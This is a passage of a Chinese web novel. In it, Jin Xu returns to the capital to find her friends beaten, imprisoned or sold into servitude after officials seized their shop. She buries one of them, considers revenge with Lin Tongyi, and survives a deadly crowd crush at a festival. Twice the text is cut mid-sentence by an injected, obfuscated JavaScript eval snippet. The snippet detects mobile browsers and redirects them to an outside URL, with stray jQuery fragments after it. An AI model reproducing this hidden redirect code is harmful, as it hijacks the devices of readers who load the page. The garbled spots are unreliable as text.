凝荷跟她道:“是因为温记的事。大厢她们不愿意卖,火蓉去向官府申诉,官府却突然诬赖她偷盗,不仅抓了她,还打了孙姨和水夭。” 她二话不说带上银子,再次赶去廷尉。 偷什么?为什么申诉?她此时心神太乱,凝不住神思,更急于知道她其余几个姑娘的下落。 廷尉里多是习武之人,办事利落得多,她给了银子后,没等很久,就有两人抬着担架将昏迷的火蓉抬了出来。 火蓉浑身是伤,极瘦,破烂的囚衣浸满血液,如果不是胸口轻微的起伏几乎让她觉得这已经是个死人。她拨开凌乱枯发,火蓉脸上也是大小不一的见血伤,嘴唇发白紧皱,完全不似从前她精心将姑娘们养成的样子。 她心痛至极,凝荷泣不成声。 掾属催促,金絮出银子讨了担架,与凝荷一起抬火蓉回了铺子里。 火蓉身上外伤过多,好在没有致命伤,金絮找遍了长庆街才找到女大夫。大夫将火蓉全身伤口处理后,开了副方子,详细叮嘱事宜后便走了。孙铺已有两月没进新药材,她拿着方子去附近药铺购齐药材,回去后凝荷便开始煎药。火蓉睡得安详,也没有发热迹象,她方才心神微松,后知后觉地感到饿极。 随便买了点米面和鸡蛋,金絮开火煮面,此时终于得了空询问这段时间到底发生了什么。 凝荷靠柴薪蹲坐,膝盖抵柴折断扔入灶火,抬头看着她道:“去年还好好的,是在今年过了冬之后就变了。” 50. 孙姨 “二月底的时候,官府的人突然找到大厢姐,说官府出价让她们把铺子卖了,大厢姐不愿。那时温记的生意很好,她自然不愿。官府一连劝了她数日。后来我们才知道,是泰安侯府的世子想建一座园林玩,正好选了温记那片地方。” “没过多久,听说周围许多铺子都卖了,大厢姐也怕惹上侯府,虽然不舍得但还是决定卖。结果这个时候,官府的人见她松了口,原本说好的一百二十两降成了二十两,大厢姐很生气,想反悔不卖了,然后官府的人不知道做了什么,最后温记变成不是大厢姐的了,她们被赶出来,没处去,就来找孙姨了。” “孙姨知道后十分不平,就找官府理论,当官的直接把她赶了出来。孙姨已经快六十了啊!就那么被赶出来,摔了一跤。” 凝荷无力又愤恨的声调强烈撞击温暖的柴火,“孙姨在年前救了一个大户人家差点病死的儿子,这户人家的老爷为了感谢孙姨,知道我们的事后,就和官府说了一声,然后大厢姐卖出的银子就变成了八十两。” “这样也挺好的,大厢姐都预备重新办一间铺子了。”凝荷停顿了一会儿,扭头看着她道:“阿絮姐,你还记得你留给大厢姐她们的那支血如意吗?” 她一愣,“记得。”那血如意原本是她买了送给梁风作谢礼的,他没收,她就留给了大厢以备不时之需。 “就是那支血如意。”凝荷眼中涌出泪,“官府里一个姓张的官大人发现了那支如意,空口白赖地说是他家里丢失的那支,直接指认是火蓉姐偷的,还拿了一张什么契书作证,还说最近京城里出现的几起偷盗事件都是火蓉干的。” “火蓉姐根本没有偷,她甚至都不知道那姓张的家在哪里!可火蓉姐还是被他们抓了去,说是要关几个月,以示惩处。可关几个月人都不一定活着了!” “不光是这样,之后孙姨和水夭去找官府申冤,官府的人却说,未经允许擅自喊冤者打三十大板!”凝荷泣不成声,“他们打完了还不放人出来,非要拿银子去赎,大厢姐几乎花光了银子才把人赎出来,当天夜里孙姨就走了,我们只能用剩下的银子葬了孙姨,水夭就没钱治伤......” “这三个多月,水夭她就一直这么忍着啊......” “后来实在没银子,化莲姐把自己卖去了畅春阁,大厢也卖身去一个大户人家,她能算账,而我留下来照顾水夭。阿絮姐,你知道现在京城的妓一夜只要多少钱吗?”凝荷绝望地嘲笑,“一斗米。” 金絮张着嘴,发不出声音,沸滚的粥水四溅,溅在她手上她也浑然不觉。 “五月的时候,我碰巧遇见林公子,得知他要去太南,就托他转告你......阿絮姐,我撑不下去了啊......他们怎么能这样!他们说要建园林,把人打死了,又不建了,人命就如此轻贱吗?他们凭什么这样做!我不明白,阿絮姐,我不明白......” 凝荷瘫坐在地,哭得肝肠寸断。 金絮怎么也没想到,她留的一支如意会造成这样的后果。就在十几个月前,她们几个姑娘还曾围在一起为自己得了个京籍而欢欣雀跃。 为什么,为什么几年过去了她还这样天真? 为什么不长记性,为什么留她们在京城?曾经一家人都死在这里还不足以让她对这个巨大的笼子感到畏惧吗? 脏腑燃起火烧般的痛感,剥夺了她的感官。她不知自己是如何走出了孙铺,如何钻入了灰白的人群中。 明明抬头就是蓝天白云,却只觉眼前层层屋檐如浪,灭顶似地要将她淹没。 茫然地走了很久,直到夕阳覆下暖色,她入目所见慢慢回温,恍惚眨了眨眼,看清了街对面是畅春阁。 高楼的色调变黯了,不同于她记忆中的灯火艳艳和纸醉金迷。门前几名姑娘衣着暴露,调笑着挥手揽客。空气中弥漫一股躁跃的香味,闻之勾人心肺。 金絮怔怔闻了,不觉抬袖捂鼻,这股香味是和欢香,畅春阁为了揽客不惜在街上散开此香,可路过的男子们闻之纷纷遮袖快速跑开。 这时,一轿人马抵达畅春阁前,马车走下一位大腹便便的中年男子,立刻有一名姑娘迎上前,娇笑着贴入男子怀中。她眸光一凝,认出那浓妆艳抹的女子是化莲。 化莲见到男子十分开心,全手全脚地贴着。说几句话,两人互拥着走入阁内,化莲转身时眼神一错,往她这处随意瞥了眼。 金絮注意到这一瞬间对方眼神的停顿,而后很快又收回了视线继续拥着男子前行,她却清晰地看见化莲转过头去时眼中的泪。 天很快黑了,她回到铺子,外间收摊了。她进到内间,凝荷正在给火蓉喂药,桌上有盛好的粥,金絮勉强吃了一碗便吃不下了。 凝荷喂完了药,起身在灶台放下药碗,看着她,轻轻道:“阿絮姐,我能不能去睡会儿?我好累。” 说完这句话,凝荷双眼一翻,直接昏睡过去,金絮急忙接住,扶抱着凝荷躺到窄榻上。 凝荷睡着犹是不安,眉头微皱,呼吸深长,手指成拳紧紧攥着,金絮为之抚平眉毛,洗了手巾替凝荷简单擦拭手脚,再掖好被子,拉上隔榻的帘帐。 她在灶台清洗余下碗筷,月亮从小小的窗户照进来,正好照着她手里的一盆水,仿佛她是在用月光洗碗。 袖子挽至手肘,她的手掌及腕都泡在月光中,水纹的波动将她的手指扭曲,耳周极静。 静得她心中升起邪念。 她尝试着压下,但压不下去,她渐渐有些害怕,害怕触底会招致更强烈的反弹,害怕这些年压抑的怨恨有朝一日会吞噬她,害怕她哪天会做出让自己后悔的决定。 她感觉自己像是此刻泡在水里的手指,挣扎扭曲,最后溺毙。 赶忙三两下洗净碗筷,倒掉水,再收拾了带来的包袱。无事做之后她呆呆地站了一会儿,回过神,掀帘察看水夭,却发现水夭不知何时睁了眼,正偏头看着躺在身侧的火蓉。 “她没事了,应该明天或者后天就能醒。” 金絮蹲在水夭床头,手掌搭额头试温,异常滚烫,凝荷始终在喂的药完全没有效果。 水夭烧得眼神迷离地看她,“阿絮......” “我在。”金絮抚摸水夭的脸,努力做出温柔的笑。 “你.....一人也要好好......没有依托也要好好的......” 金絮闻言苦苦地笑了,头抵水夭,低声道:“我知道,我会的。” 水夭迷糊地放松,又睡过去。 内间这张榻三人正好睡满,没有她可以睡的地方,也没有多余的棉被打地铺,金絮便蹲靠着水夭榻边,似睡非睡地蹲了一夜。 第二天一早,半边身子麻了,她缓了好一阵才站起来,洗漱后煮粥。凝荷看迹象一时半会儿不会醒,她用过饭后便出门了。 先去钱庄给家里 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应该不会,在他看来,他都给她掌葫的上等取钱令了。 这之后,再没人来买药材了。 她枯坐着守到临近傍晚,凝荷醒了。 “温了粥,你快去喝些,我还买了别的吃食和瓜果。” 凝荷一脸大睡醒后的茫然和困顿,但眼睛深处明显恢复了精力,金絮看着开心,给凝荷择些好消化的吃食,“你多吃些,这段时间辛苦了。” 凝荷微微露笑,小口小口吃起来。 金絮也笑了,想起其他人又笑不出来了。 “凝荷,大厢她在哪户人家?” “在温柔馆那条街的叶家,听说很富,家规也很严,大厢进去了,不知道这辈子还有没有可能出来。”凝荷吃完一碗又盛一碗,“但她的月俸挺多的,每月借送菜的人把银子送出来给我,这几个月全靠大厢姐,不然只靠这间药材铺根本赚不到钱。” 金絮点点头,又道:“我准备把化莲赎出来,不让她再去做妓了。” 凝荷顿时弯了眼,“好。” 用过饭,金絮为火蓉煎药。外间来了人欲买药,凝荷出去招呼。不多久,凝荷回来道:“阿絮姐,外面的人是林公子,他找你有事。” “林公子?”她压低声音,“林童忆?” 凝荷点点头。 万万没想到林童忆居然能找到孙铺,忙更压低声音道:“我不见他,你跟他说我不在。” 凝荷便去了,她走近门帘,附耳探听,确实听见林童忆的声音,得知她不在后道了声搅扰便走了,她觉察自己松了口气。 凝荷进来问道:“阿絮姐,你怎么躲着啊?林公子说有事想找你谈谈。” “可是我不想跟他谈。他怎么会找到这里来?” “之前有一次在街上偶然碰到,就告诉了他我们开铺子的事。林公子偶尔会来照顾生意的。” “这样啊......” 凝荷望着林童忆离去的方向,“我想跟他说声谢谢的,如果不是他,我都不知该怎么联络到你。” 林童忆对她的救命之恩也一直欠着呢,可她又不想面对林童忆。 金絮抿了抿唇,还是决定告诉凝荷:“即便没有林公子,我大概在这个时候也会上京。温柔馆的银子总要取。”无论怎样她这趟京城肯定是要来的。 51. 故人 得了空,入夜前金絮去买了张窄榻,内间容不下,只能贴墙放在外间角落。外间便外间吧,她也没那心思去在乎行人眼光了。 之后几天全身心地照顾水夭和火蓉。在她的分担下,凝荷得以多休息,慢慢恢复了气色,脸上的憔悴褪去许多,说话嗓音也有力了。 水夭没再睁过眼,浑身烧得越来越热,金絮一遍遍用湿巾擦拭降温,却无丝毫起色,很快连药和粥水都喂不进去。她知道水夭的日子真的不多了。 好在火蓉给了她安慰,虽然仍是没醒,但身上的反应越来越频繁。她趴在枕边,时不时与火蓉说话,有时说上几句,就能见到火蓉的眉毛或者手指动了一动,于是她更加殷切地将大小事情都说与火蓉听。 她还去了畅春阁,想赎出化莲,却得知包春娘买了化莲三年,三年未满,化莲不能踏出畅春阁一步。她只好作罢。 小暑这天,万里无云,火蓉就在这刺目的阳光下睁开了眼. 迷离茫然的视线缓缓定焦,缓缓转动,看向了她。金絮欣喜万分,抚摸火蓉的脸,柔声道:“火蓉,你认得出我是谁吗?我是阿絮啊。” 火蓉苍白唇畔露出一丝笑,金絮暂时放下了心,用汤匙沾水一点一点涂抹火蓉的嘴唇,“醒来就好了,晕不晕?身上会不会特别疼?我晚些时候给你换药,你再喝些粥。” 火蓉能抬起手了,握住凝荷,凝荷脸上又是哭又是笑。金絮转而伏到水夭床头,轻轻唤道:“水夭,火蓉醒了,你睁眼看看,她醒了。” 水夭毫无反应,呼吸细如发丝,随时会断止,她还是轻唤:“水夭,你不是想看看火蓉的吗?她已经醒了,你看看她。” 火蓉听得转头看见水夭,虚弱的眼神顿时微怔,张嘴说不出话,被子下的手不顾地向水夭摸索。 金絮摸出水夭被下的手,与火蓉牵在一起。 “你醒一醒,醒来看看她,她也想看看你。” 在她不断呼唤下,水夭竟真的睁开了眼。 火蓉的眼睛霎时涌出眼泪,紧紧勾着水夭滚烫的手指。 水夭看见了火蓉,若有似无地安心一笑,便彻底闭上了眼睛。 凝荷抑制不住哭泣。 金絮用力稳住心神,当先安抚火蓉,拭去火蓉鼻梁缀着的泪窝,“眼下养好身体要紧,不要过于伤心了。” 火蓉眼圈通红,看着她,点点头。 凝荷跪坐榻边,越过火蓉看着水夭,捂着嘴,喉咙里发出一段段尖锐的抽气声,泪水汹涌而出,眉头不可控地皱在一起,却没有哭出声,只一眨不眨地看着水夭。 “她从前......处处护着我。” “我知道。” “阿絮姐......”无论此刻多伤心,凝荷都没有崩溃大哭,而是控住了情绪,拽紧她的袖口,像是抓着救命稻草般,沙哑地唤她。 “嗯。” “她解脱了。” “嗯。凝荷,活着的人更重要。” “......我知道,阿絮姐,我知道......” 凝荷狠狠地抽气,缓和情绪,眼泪仍控制不住往下掉,“阿絮姐,她说过,死后想把骨灰埋在家乡......叫......大占县。” “她想火化?” 凝荷吸鼻子点头,努力瞪大眼睛逼回眼泪,“她、她说,虽然在家乡没住几年,但还是希望落叶归根。她早已记不住家乡是什么样子,唯独记得自己是大占县人。” 尾音颤抖起来,凝荷抑制哽咽,双眼红透,不住地抽咽。 她将火蓉仍抓着水夭的手分开收进被子里,水夭身体还暖,她拿被蒙上,再亲了亲火蓉,“凝荷,照顾好火蓉,我来办理后事。” 凝荷应了一声。 金絮乘马车去到郊外火化场。火化场宽阔荒凉,几个焚尸炉冒着滚滚黑烟,丧幡飞舞,冥钱漫天,所见一片哀嚎惨烈之像,声声撞裂她的心扉。 她找到负责登记的官员,交了先期银子,拿到一张凭书。 “最近火化的人多啊,列着队呢,后日一早才轮到你。”官员跟她说完转头去招呼其他的家属。 她收好凭书,去寿材店选了一副棺椁和寿衣,赁了人马拉回铺子里,为水夭净身、换衣,最后入棺,停灵。她不希望水夭死后还遭那些路人的白眼与指指点点,便决定不租外面的灵堂,将棺椁停在外间,刚好放下。 药材店里停了口棺材,自然没人上门买药。 她关了铺子,办置其余丧服、丧幡、蜡烛、祭品之物,点蜡烛,摆祭品,立灵牌,做完一切,夜已深了,她在棺旁守了一夜。 第二日,她为孙姨也一块立了牌位。继续守了一整日。 第三日,与凝荷一起推棺入火场。 烈火熊熊燃烧,最后化作一只五斤的盒子。 之后几天,火蓉伤势见好,能坐起来自己吃饭了,凝荷情绪也稳定下来,始终将盒子安放在水夭的床榻上,金絮去了叶家,想办法将水夭走了的消息告诉给了大厢,也才得知大厢在这座深宅大院中过得安好。 她还收到了柔竹寄来的信,柔竹拿到了银子,已将衣物和簪子都赎回来了,让她在京城一切放心。 头七后,火蓉能下地了,金絮撤走屋中所有丧品。 这次的伤令火蓉半瘸了一条腿,身体也留下了祛不尽的病根,凝荷每日扶着火蓉在屋子里徐徐练习走路。 “往后我们要去做什么?” “做什么都可以。” “不想住京城了。” “好,那住在哪里?” “不知道。”凝荷道:“我想去大占县。” “等我伤好了,我陪你去。” 金絮默默听着,没有插话。 “阿絮姐。” “嗯?” 凝荷问:“你回太南吗?我想去大占县之前先去太南看看柔竹。” “我啊......”金絮开个头就不说了,手里继续做自己的事。她在拨弄算盘。 “什么?”凝荷追问。 她随意扯开话题,“我想着......你们去到太南,若是需要和柔竹住一阵子的话,那房子可能太小了。” “是哦,而且徐礼也住在一块儿。” “那我们就看情况,要是住不下,我们就另外住。”火蓉道。 “嗯。” 金絮手指拨拉,没答话。越算越乱。 指尖更快地拨动,算珠变得不明所以,忽然一只手斜插入视线里抓住她的手,她一愣,抬起头,见火蓉低着头看她,凝荷不知何时出去了。 “怎么了?哪里不舒服?”金絮站起来。 火蓉笑着抚平算盘,摆正一颗颗珠子,“我从醒来之后就觉得你有点奇怪,在想什么呢?” “啊我......没想什么啊。” “还说没想。” 火蓉拉着她坐下,“阿絮,我一直不知道你在到温柔馆之前是做什么的,你不说,我也不多问,但我能感觉到你身上背负着很多东西,不只是温柔馆。” “你每天夜里想的事情都跟从前有关吧,看不开还是放不下?”火蓉微微一笑,“我不知道你经历了什么,但我希望你过得开心,想做什么就去做吧,你是不是会留在京城?” 金絮只笑,“可能吧。”她四处乱看,找不到安置视线的地方。 “对了,孙姨葬在何处,我想去看看。” “我在牢里也不知道,要去问凝荷。”火蓉没有点破她,而是喊了凝荷进来,告诉她孙姨的墓址。 她听了便出门,独自一人去往郊外公墓,带着花束与纸钱,在远离碑群的旮沓之地,才终于找到。 树林疏落间,墓碑孤零零伫立,山野寂静无声,不时风吹过,树叶摩擦发出枯哑难听的沙沙声。 金絮放下花,拂清一小块秃地,点燃纸钱。 她良久地看着墓碑,碑身只是一块粗陋的木板,上刻孙氏之墓,她心里想着很多,又好像什么都没想。 她身边最后一个亲近的长辈没有了。 风突然变大。夏风好像是凉的,狂吹她的四肢。 燃烧的纸堆被刮散,纸钱未烬,火星跳跃着随风炸开。噼啪声令她空洞的脑子回过神来,她担心火星会点燃枯枝落叶,于是拿石头压住余下纸钱,起身欲扑飞纸,一回头,才注意到斜后方站了一人。 绿荷衣摆,是男子服饰,目光顺着往上,就见林童忆正站在她十步开外。 她愣住,也不知他站了多久,又听见纸片刮过秃地的声音,她赶紧回神追纸踩住。 林童忆帮她拾起几片残纸,火星都熄了,灰烬还在飞舞。 “今日风大,不宜烧纸钱。” “嗯。”她点头不看他,将未烧的纸钱装进随身布袋,重新摆好吹乱的花枝。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839786|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你来了京城之后过得好吗?” “嗯......还好。” 她蹲坐在孙姨墓前摆花,林童忆站在她身后,两厢无言。 “你并不好。” 沉默良久,他突然开口:“金絮,你过得并不好。” “如今这天底下有谁是过得好的?”她站起来,回头看着他,想笑但笑不出来,“林公子,你怎么在这?” “找你。” 她移开视线,“找我做什么?” “报恩。” 她一愣,“什么?” 林童忆垂着双手就这样看着她,脸上带着淡淡的笑,目光平静蕴含深意。 她反应过来,“是,上次你救了我,我还未......” “不是那件事。”他打断她,“是我欠你的恩。我小时候在太南行乞,快饿死的时候,你救了我。” 行乞?她想不起有这回事,“我不记得了。” “我记得。” “我记得你救了我。我前一阵子去太南就是特意去找你的,我想告诉你,你做任何事,我都希望能帮到你。” 又提起这事。她忽而咧嘴一笑,嘴角几乎咧到耳根,“帮我?我有什么好帮的?” “任何事情,只要你需要我。”林童忆眼中是一贯的温和。 她脸上瞬间失笑,声音凛下来,“我如果想复仇,你也帮我?” “是。” 毫不犹豫的声音掷入地面压得草叶都伏低扁塌。 “你怎么帮?你能做什么?” “做什么都行。” 她整张脸有点僵,僵到她忘了眨眼。 “金絮?” 他看出什么,上前一步,金絮回过神,立刻后退,他讪讪立住脚。 “你仔细跟我说说,我从前是怎么救你的?” 他闻言笑了一下,“我小的时候生活在南方一个县城,离开父母后我避战北上,在太南快饿死时遇见了你,你给了我这把扇子。” 他拿出那把旧童扇,展开。 金絮还是全无印象。 似察觉她是真的茫然,林童忆嘴边的笑缓缓跟着扇子一块合上。 “仅仅为了一把扇子就想报恩?愿意助我复仇?你可知这是一条怎样的路?” 他似乎微微愣住,哑口无言,半晌才道:“我知道,但我也愿意。如果不是你,我活不到现在。” “你怎知我想复仇?” “因为我知你心底为自己不公。” 话语一针见血,她感到自己的眼神冻在他一贯温和而此刻渐变笃定的目光上,心里很想离开这里,嘴上却问:“你想怎么做?” “我可以参军,也可以去做权贵幕僚,或者为你谋出路,都行。” 此话一出,金絮下意识身子一侧,举步往树林外走去。 “你能接近权贵。” 她脚步刹住。周遭风息瞬止,穿过她空洞洞的身体。 眼前似乎出现了另一个徐礼。她听见自己道:“安分王?” 他没说话,算是默认。 金絮自嘲一笑。忽然感觉这世界黑白颠倒。 “上次见过安分王之后,我有种感觉,他是不是查过我了?他应当知道我清楚你的身世了。你对他是何种看法?” 林童忆问得直白。他好像突然进入状态,话语间都开始筹谋。 “一个失势的王爷,没什么看法,做不了什么了。”她冷冷淡淡,继续朝前走。 她突然想,不知道上次把十三丢在太南后怎么样了,十三应不至于还在找那个并不存在的花吧。 有可能梁风已经知道她上京了。她无法肯定。 “时辰不早了,我先送你回去吧。”他突然道。 她抬头看看天色,夕阳已浓,的确不早了。 林童忆驾马车送她回去,门帘被风吹得猎猎高扬,风灌满车厢。车轮轱辘滚过,轻微颠簸,她低着头满腹心事。 “林童忆。” “怎么了?”他拽着马缰回头,长发横扫面颊。 “如果你死在这条路上......” “那也是我自己选的。” 他的目光坚定得像是京城的围墙。 “那如果你会令其他无辜的人死在这条路上。” “我不会。” 她微微抬眸,与他对视,片刻,他转头继续驾车。 52. 花街 当夜,她做了个梦,梦里有道声音一遍遍唤她的名字。 她站在黑夜下的一处悬崖,崖低深不可见,呼唤她的声音就发自那不可见的黑暗深处。 金絮,金絮。 金...... 像是一遍遍提醒她,她的姓氏所背负的深仇。 忽然刮起狂冷的风,迎面向她一扑,风里有血气。她以为她会永远立在崖边,此刻却被这风撞得失衡,她很惊恐,看着天空离自己越来越远...... 失重感令她全身一挣,猛地惊醒,冷汗淋漓,大口喘着气。环顾四周,只角落燃着支火苗微弱的蜡烛。 原来她身后是床榻,不是深渊。 她平复呼吸,深深一叹,去内间倒了杯茶水吞下,冷茶冻得她一哆嗦。 窗户有月光,尚未天亮。凝荷火蓉还在安睡,入耳唯有细微的呼吸,梦里逼迫的声音并不存在。 她松口气,躺了回去。 又过几日,火蓉的伤彻底痊愈,走路也利索了许多。 三伏天越来越热,眼看就到大暑,她整日闭门不出,听着火蓉与凝荷两人商量离京事宜。 “凝荷,去迁户籍吧。”火蓉道。 “那铺子怎么办?卖掉吗,我又不想卖,这是孙姨的铺子。” “不卖的话,空着吗?” 凝荷十分纠结,火蓉道:“你做决定吧,这是孙姨给你的铺子。” 凝荷直接求助地看向她,金絮建议:“当初徐娘留给我的温柔馆我不也卖了,你不用有太多负担,孙姨若还在的话,肯定赞同你换个让自己开心的地方生活。你们若是暂时没处去,就挤一挤和柔竹住吧,她会很高兴的。” 凝荷这段时间脸上愈发不笑,但她看得出来,凝荷眼中多了一股坚定。 “那就卖掉。然后去找柔竹。我们往后的日子一定会过得很好,至少会比现在好!” 她欣慰地笑了笑。过午,三人一起去官署迁办户籍和路引。 署衙门口,她递给火蓉一袋银两,火蓉接过了,凝荷感激地看着她,“阿絮姐,这些银子我以后会努力赚钱还给你的。” “说这些做什么。”她摸摸凝荷脑袋,火蓉却在这个时候眼神示意她看身后,金絮转过身去,林童忆站在街对面,静静看着她。 “你们先进去吧。”她回头让火蓉带着凝荷进官署,察觉到身后林童忆自行走上前,她干巴巴一笑,“又遇见林公子了。” 他展扇,“是我特意在找你。” 她的目光不由自主地转向那把扇子,最终权衡一番决心道:“林公子还有什么话想跟我说?” “我想知道你的决定。” 金絮看着他,林童忆逆光下神情轻淡,微垂着眸。在他眼里,她什么都没看出来。 她沉思许久,林童忆始终一言不发地等着,街道人流熙熙,杂声鼎沸,乱音中,她清晰听见自己开了口: “你说对了,我确实不甘心。” “这么多年,从未甘心过。” 周围房屋层层飞檐直指天际,在她眼中化作滔天巨浪,浪尖冲刷京城四面高墙,人群在冲刷间臣服,大浪慢慢被逼成小浪,墙笼依旧,任笼中人如何翻卷都翻不出那座高墙。 林童忆闻言缓缓绽开一笑,瞳眸深处散发温润的光,富含深意。 金絮一愣,从那深意里看出了什么,正要说话,火蓉带着凝荷出来了,将银袋还给她,亮了亮路引,笑道:“十分顺利。” “顺利就好。” 林童忆也看见了路引,随口一问:“火蓉姑娘这是要离京?” “是啊。” “离了京,也好。”他淡笑点头。金絮却心念一转,“林公子,我想请你帮我个忙。” “好。”他毫不犹豫地应了。 她笑,“林公子,劳你跑一趟,送她们两个回太南。” 林童忆一愣,金絮解释道:“太南虽然离京城不远,但也需要几天的路程,让她们几个自己回去的话,我实在不放心,有你相送我能放心许多。” “这......”他有些犹豫。 “不用了,阿絮姐,不劳烦林公子了,我们自己去。”凝荷道。 “没事,我送你们去。”林童忆拦道:“反正林布也没了,我最近很空闲,送一趟也不麻烦。” 金絮听出疑惑,“林布怎么没了?” “去年的时候碰巧遇到泰安侯府世子妃的单子,我没接成。后来得知,当时薛柴也想要这笔单子,不知怎么以为单子被我抢了,就把林布整没了。” 他讲得云淡风轻,金絮却觉沉重,薛老板曾经是温柔馆的常客,“怎么整没了?” 他自嘲一笑,“薛柴有个女儿是当今丞相三少爷的妾,惹不起。” 金絮无言。 “那我们什么时候出发?”火蓉道:“这一路有劳林公子了。” “不麻烦,准备好的话随时能出发。” “那就后日吧。” “好。” 言定,一行人各自离去。 回到铺子里,凝荷给柔竹寄了信,着手准备贩卖铺子的事,一打听,孙铺背靠的医馆近期准备扩张,想收购馆下的数间铺子。凝荷立刻登门与馆主商量,很快谈好了价钱,约定后日凝荷便腾出孙铺。 隔天,金絮就将自己的行李收拾出来,暂时住进了一家客栈里。 到凝荷她们离开的这天,金絮送至城门口,挥手作别。 她几乎一瞬不瞬地看着两个姑娘离去的背影,久到身上的阳光慢慢变凉。 她彻底放下了心,如今这京城里,没有她需要护着的人了。 她整日在客栈闭门不出,回想还有什么事情是没完成的,之前收拾行李时翻出了王殊送给她的那支牡丹步摇,她才突然想起还有个王殊没处理。 金絮便前去王家求见王殊,门房为她通报,王殊却不在家,她便将步摇与一封致谢信和一些银子劳门房在王殊回家后交予他。银子就当是王殊为她展出《温柔新语》的酬劳,他当然看不上这点银子,金絮本意也只是断干净与他的牵扯,之后找个时间再去春研书院将《温柔新语》买回来。 做完这些,在街上游逛时,见行人一脸兴奋之色,沿街店铺高挂彩灯,正疑惑,直到听闻路人互相交谈言道今日是和昌公主生辰,她方恍然大悟。 当今皇帝十分疼爱这位二公主,每年生日都会取消宵禁,在玄武街举办庙会,君民同欢。据说亥时末,和昌公主会出现在城头,迎接万民祝贺。往年金絮都在温柔馆,没见过那位公主。 庙会年年有,玩多了也没什么新奇的,更不好奇那位公主,但她想换换心情,天色暗下后,在客栈用了饭,便沿着玄武街赏逛。 她心思不在街边的杂耍小食上,走到街尽头便折返再走一遍,走了快两个来回。夜色深了,她也不知自己看了什么进去,年年都是一个把戏,人挤人,人头比灯笼星星加起来还多。 走至玄武街不知何处,人流忽然密集起来,前方传来呼喝声,行人被强行挤至道旁。她跟随人群让到一边,远远看见一列骑马高于人群、列队整齐的卫队路过,队前侍卫呵斥行人退让开道,为首的人赫然是梁风。 她呆了一呆,不及动作,梁风恰时眼神往下一扫瞧见了她。 两道视线越过耸动的人头遥遥相接,她随着人群小步蠕动,牢牢被他眼神锁住。他面露喜色,神情清晰地向她传达出一句话来: “还未到九月,你便来了。” 她不知该如何回应,想她做出何种表情他应当都是看不懂的,可她还是一眨不眨地看着他。 荆风也随队前侍卫缓慢踏动,两道视线即将错开时,她忽然定住不动了,无谓周围人推搡,仔细描摹他彩灯熠熠下的脸。在她的注视下,梁风不知怎么收了笑,勒缰翻身下马,金絮见状迅速回神,这时左侧传出喧哗,一大队群众涌来,她埋首挤入,趁着这股人群逃开了他的视线。 逃入僻巷,见身后无人相追,她松口气,准备回客栈,结果没想到巷子的另一头出口还在玄武街。 这边有一座全城最大的酒楼,她未出巷就能看见那灯火辉煌的楼牌,酒楼门口不知在进行什么表演,堆聚的人群过于密集,堵了街道,她几乎挤不进去,巷子里没有别的路,不挤进去就无法另寻出口离开玄武街。 她只好硬挤,腾挪于肘隙间,可挤进来再往何处去就不是由她控制的了。她慢慢被挤至街心。这时周身蓦地一阔,她骤然吸入清新的空气,往身侧一看,右边挤来一名胖妇人,宽大的身躯荡开了贴身的人。 她打算挨着胖妇人走,由胖妇人为她开路,虽然她不知胖妇人去往何处,但只要出了这玄武街就好。 心下打定主意,却听得头顶酒楼方位爆发一个男子拔高的尖啸: “撒、花、钱、啦!” 她浑身骤冷,下意识抬头,酒楼三层一名黑衣蒙面男子趴着栏杆,姿势正呈挥洒状。 叮—— 数百枚铜币如网般扑下,这一瞬间她的感官似乎变慢了,眼中仿佛能看见铜币的两面旋转飞落时反射的烛火光芒。 鼻端空气骤然紧缩,身子的反应比大脑还快,她瞬时环腰抱住胖妇人。四周人群轰动地向街心挤,像是将一张棉被揉成团再压缩成蹴鞠大小。 肺里的空气被排空,她难以呼吸,不知何人的手肘、肩臂、臀腿往她身上用力撞,撞出她一身冷汗。她努力仰头呼吸,环抱胖妇人的双手紧紧扣住。胖妇人很胖而且有梁风那么高,她两手几乎环抱不住,脸颊贴着胖妇人的肩膀,而胖妇人似乎完全不惧拥挤,即便拖着她也想挤去抢花钱,可惜挤到街心无法停留又被推离,更不可能弯下腰捡钱。 原本哄闹抢钱的声音很快消失,继而响起冲天的踏步声和谩骂,以及让人不要再挤的怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839787|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊,她听见有个小孩哭了几下渐渐没了声,接着妇女老人的哭声也响起来。 有人撞碎她的发髻,可她脸上还沾着别人的头发。她双腿踏着小碎步紧随胖妇人,右脚脚踝还是被某人用力一踩,这一脚近乎是踩她的那个人全身的重量,踩得脚踝弯曲近乎贴地,她忍着钻心刺骨的痛没有叫出声,可右脚无法用力,只能用脚尖拖行。 这时一个圆滚的东西撞到她腰上,贴着她的腰往腿下滑,这个东西有头发的摩擦感,接着她听见一道细微的呼救和呻吟,右脚踝被一只手握住,她低低地痛叫出声,可那只手无力紧握,握了一瞬便松开了,她又被人群推远。 不知挤了多久,推搡、谩骂、踏步声渐消,棉被松开了,她夺回了呼吸,却听见震耳欲聋的各色哭声。 她喘着气,脑子还有点发懵,察觉怀中胖妇人僵站着,她抬头看了看,却见胖妇人扭头一脸冷漠地盯着她。 胖妇人的嘴唇也很厚,头发也被挤散了。金絮干干地笑,缓缓松开了手,心想胖妇人可能有点不开心被她拖了后腿而没有抢到花钱,便从衣襟中拿出钱袋,给了胖妇人一两银子,也算是回报她捡回一条命的感激。 